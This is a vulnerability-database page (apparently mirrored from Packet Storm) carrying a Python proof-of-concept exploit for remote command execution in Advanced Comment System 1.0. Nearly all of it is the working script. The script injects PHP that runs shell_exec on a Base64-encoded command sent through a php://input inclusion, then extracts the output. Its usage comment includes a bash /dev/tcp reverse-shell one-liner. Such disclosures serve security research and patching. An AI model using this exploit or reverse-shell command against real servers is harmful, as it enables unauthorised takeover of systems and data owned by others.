Lucene search
K

Advanced Comment System 1.0 Remote Command Execution

🗓️ 01 Dec 2021 00:00:00Reported by Nicole Daniella Murillo MejiasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 417 Views

Advanced Comment System 1.0 Remote Command Execution allows remote commands execution via Base64 encoded POST requests with filtering

Code
`# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)  
# Date: November 30, 2021  
# Exploit Author: Nicole Daniella Murillo Mejias  
# Version: Advanced Comment System 1.0  
# Tested on: Linux  
  
#!/usr/bin/env python3  
  
# DESCRIPTION:  
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the  
# response is filtered by the randomly generated alphanumeric string and only command output  
# is displayed.  
#  
# USAGE:  
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted  
# If any special characters are used, they should be quoted with single quotes.  
#  
# Example:  
#  
# python3 acspoc.py uname -a  
# python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'  
  
import sys  
import base64  
import requests  
import random  
  
def generate_string(size):  
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"  
return ''.join(random.choice(str) for i in range(size))  
  
def exploit(cmd):  
  
# TODO: Change the URL to the target host  
url = 'http://127.0.0.1/advanced_comment_system/index.php'  
  
headers = {'Content-Type': 'application/x-www-form-urlencoded'}  
  
encoded_cmd = base64.b64encode(cmd)  
  
delimiter = generate_string(6).encode()  
  
body = b'ACS_path=php://input%00&cbcmd='  
body += encoded_cmd  
body += b'&<?php echo " '  
body += delimiter  
body += b': ".shell_exec(base64_decode($_REQUEST["cbcmd"])); die ?>'  
  
try:  
result = requests.post(url=url, headers=headers, data=body)  
except KeyboardInterrupt:  
print("Keyboard interrupt detected.")  
sys.exit()  
  
if f'{delimiter.decode()}: ' in result.text:  
position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")  
  
if len(result.text[position:]) > 0:  
print(result.text[position:])  
else:  
print(f"No output from command '{cmd.decode()}'")  
print(f"Response size from target host: {len(result.text)} bytes")  
  
if __name__ == "__main__":  
exploit(' '.join(sys.argv[1:]).encode())  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2021 00:00Current
0.5Low risk
Vulners AI Score0.5
417